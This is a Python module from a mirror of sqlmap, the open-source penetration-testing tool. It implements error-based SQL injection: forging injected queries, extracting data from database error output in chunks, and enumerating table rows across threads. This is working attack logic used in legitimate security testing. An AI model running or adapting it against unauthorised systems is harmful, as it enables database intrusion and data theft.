mirror of
https://github.com/sqlmapproject/sqlmap.git
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378 lines
15 KiB
Python
378 lines
15 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from extra.safe2bin.safe2bin import safecharencode
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from lib.core.agent import agent
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from lib.core.bigarray import BigArray
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import dataToStdout
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from lib.core.common import decodeHexValue
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from lib.core.common import extractRegexResult
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from lib.core.common import getUnicode
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import incrementCounter
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from lib.core.common import initTechnique
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from lib.core.common import isListLike
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from lib.core.common import isNumPosStrValue
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from lib.core.common import listToStrValue
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from lib.core.common import readInput
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from lib.core.convert import htmlunescape
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.settings import FROM_DUMMY_TABLE
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from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
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from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
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from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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def __oneShotErrorUse(expression, field):
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retVal = hashDBRetrieve(expression, checkConf=True)
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threadData = getCurrentThreadData()
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threadData.resumed = retVal is not None
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offset = 1
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chunk_length = None
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if retVal is None:
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while True:
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check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
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trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
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nulledCastedField = agent.nullAndCastField(field)
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if Backend.isDbms(DBMS.MYSQL):
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chunk_length = MYSQL_ERROR_CHUNK_LENGTH
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nulledCastedField = queries[DBMS.MYSQL].substring.query % (nulledCastedField, offset, chunk_length)
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elif Backend.isDbms(DBMS.MSSQL):
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chunk_length = MSSQL_ERROR_CHUNK_LENGTH
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nulledCastedField = queries[DBMS.MSSQL].substring.query % (nulledCastedField, offset, chunk_length)
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# Forge the error-based SQL injection request
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
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query = agent.prefixQuery(vector)
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query = agent.suffixQuery(query)
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injExpression = expression.replace(field, nulledCastedField, 1)
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injExpression = unescaper.unescape(injExpression)
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injExpression = query.replace("[QUERY]", injExpression)
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payload = agent.payload(newValue=injExpression)
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# Perform the request
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page, headers = Request.queryPage(payload, content=True)
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incrementCounter(PAYLOAD.TECHNIQUE.ERROR)
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# Parse the returned page to get the exact error-based
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# sql injection output
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output = reduce(lambda x, y: x if x is not None else y, [ \
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extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
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extractRegexResult(check, listToStrValue(headers.headers \
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if headers else None), re.DOTALL | re.IGNORECASE), \
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extractRegexResult(check, threadData.lastRedirectMsg[1] \
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if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
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threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \
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None)
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if output is not None:
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output = getUnicode(output, kb.pageEncoding)
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else:
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trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
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or extractRegexResult(trimcheck, listToStrValue(headers.headers \
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if headers else None), re.DOTALL | re.IGNORECASE) \
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or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
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if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
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threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
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if trimmed:
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warnMsg = "possible server trimmed output detected (due to its length): "
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warnMsg += trimmed
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logger.warn(warnMsg)
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if any(map(lambda dbms: Backend.isDbms(dbms), [DBMS.MYSQL, DBMS.MSSQL])):
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if offset == 1:
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retVal = output
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else:
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retVal += output if output else ''
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if output and len(output) >= chunk_length:
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offset += chunk_length
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else:
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break
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else:
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retVal = output
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break
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retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
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if isinstance(retVal, basestring):
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retVal = htmlunescape(retVal).replace("<br>", "\n")
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retVal = __errorReplaceChars(retVal)
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hashDBWrite(expression, retVal)
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else:
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_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
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retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
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return safecharencode(retVal) if kb.safeCharEncode else retVal
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def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None):
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outputs = []
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origExpr = None
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threadData = getCurrentThreadData()
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for field in expressionFieldsList:
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output = None
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if field.startswith("ROWNUM "):
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continue
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if isinstance(num, int):
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origExpr = expression
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expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
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if "ROWNUM" in expressionFieldsList:
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expressionReplaced = expression
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else:
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expressionReplaced = expression.replace(expressionFields, field, 1)
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output = __oneShotErrorUse(expressionReplaced, field)
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if not kb.threadContinue:
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return None
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if output is not None:
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dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", safecharencode(output)))
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if isinstance(num, int):
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expression = origExpr
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outputs.append(output)
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return outputs
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def __errorReplaceChars(value):
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"""
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Restores safely replaced characters
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"""
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retVal = value
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if value:
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retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
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return retVal
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def errorUse(expression, expected=None, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of the error-based
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SQL injection vulnerability on the affected parameter.
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"""
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initTechnique(PAYLOAD.TECHNIQUE.ERROR)
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abortedFlag = False
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count = None
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start = time.time()
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startLimit = 0
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stopLimit = None
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output = None
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outputs = None
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untilLimitChar = None
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry per time
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# NOTE: I assume that only queries that get data from a table can
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# return multiple entries
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if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
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expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
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or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
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expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
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and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
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and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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if limitRegExp:
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif Backend.isDbms(DBMS.ORACLE):
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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elif dump:
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if conf.limitStart:
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startLimit = conf.limitStart - 1
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if conf.limitStop:
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stopLimit = conf.limitStop
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# Count the number of SQL query entries output
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countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1)
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if " ORDER BY " in expression:
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countedExpression = countedExpression[:countedExpression.index(" ORDER BY ")]
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_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
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count = __oneShotErrorUse(countedExpression, countedExpressionFields)
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if isNumPosStrValue(count):
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if isinstance(stopLimit, int) and stopLimit > 0:
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stopLimit = min(int(count), int(stopLimit))
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else:
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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if not count:
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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else:
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outputs = [] # for empty tables
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return outputs
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if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
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message = "due to huge table size do you want to remove "
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message += "ORDER BY clause gaining speed over consistency? [y/N] "
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output = readInput(message, default="N")
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if output and output[0] in ("y", "Y"):
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expression = expression[:expression.index(" ORDER BY ")]
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threadData = getCurrentThreadData()
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threadData.shared.limits = iter(xrange(startLimit, stopLimit))
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numThreads = min(conf.threads, (stopLimit - startLimit))
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threadData.shared.outputs = BigArray()
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if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
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kb.suppressResumeInfo = True
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debugMsg = "suppressing possible resume console info because of "
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debugMsg += "large number of rows. It might take too long"
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logger.debug(debugMsg)
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try:
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def errorThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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with kb.locks.limits:
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try:
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num = threadData.shared.limits.next()
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except StopIteration:
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break
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output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num)
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if not kb.threadContinue:
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break
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if output and isinstance(output, list) and len(output) == 1:
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output = output[0]
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with kb.locks.outputs:
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threadData.shared.outputs.append(output)
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runThreads(numThreads, errorThread)
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except KeyboardInterrupt:
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abortedFlag = True
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warnMsg = "user aborted during enumeration. sqlmap "
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warnMsg += "will display partial output"
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logger.warn(warnMsg)
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finally:
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outputs = threadData.shared.outputs
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kb.suppressResumeInfo = False
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if not outputs and not abortedFlag:
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outputs = __errorFields(expression, expressionFields, expressionFieldsList)
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if outputs and isListLike(outputs) and len(outputs) == 1 and isinstance(outputs[0], basestring):
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outputs = outputs[0]
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duration = calculateDeltaSeconds(start)
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if not kb.bruteMode:
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debugMsg = "performed %d queries in %d seconds" % (kb.counters[PAYLOAD.TECHNIQUE.ERROR], duration)
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logger.debug(debugMsg)
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return outputs
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